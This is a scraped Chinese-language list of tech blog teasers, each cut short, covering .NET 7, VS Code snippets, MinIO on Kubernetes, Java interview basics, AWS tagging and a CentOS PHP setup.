    .NET 7 首个RC(发布候选)版本 最近 .Net 的大事件,就是微软发布了.NET 7的首个RC(发布候选)版本,而据微软发布的消息,这是 .NET 7 的最后一个预览版,下一个版本将是第一个候 ...

  5. vscode用户自定义代码中如何表示table空格

    "Print to phpfuntion": { "scope": "php", "prefix": "pfu ...

  6. .NET Core Web APi类库如何内嵌运行?

    话题 我们知道在.NET Framework中可以嵌入运行Web APi,那么在.NET Core(.NET 6+称之为.NET)中如何内嵌运行Web Api呢,在实际项目中这种场景非常常见,那么我们 ...

  7. MinIO对接k8s使用

    文档地址:https://github.com/minio/operator/blob/master/README.md https://docs.min.io/minio/k8s/deploymen ...

  8. Java后端开发——美团(牛客)

    Java后端开发--美团(牛客) Java的基本数据类型,各自的字节数 ​ 老生常谈,不多说了. 类型 字节数 byte 1字节 short 2字节 int 4字节 long 8字节 float 4字 ...

  9. 关于AWS-EC2或者多个资源的tag的批量添加-基于Resource Groups & Tag Editor 和 命令处理

    今天收到一个请求,需要对公司所有的ec2-添加上两个成本IO标签,因为机器太多了 想到了如下两种方案去批量处理 方案一:利用aws的 [Management Tools]下的 Resource Gro ...

  10. 局域网内搭建CentOS PHP 环境

    首先我们找到一台已经搭建好的CentOS,IP地址我就不说啦. 我们需要用到的几个工具,一个是SecureCRT用于远程连接,还有一个用于文件上传和下载就是filezilla 准备好了之后,我们就可以 ...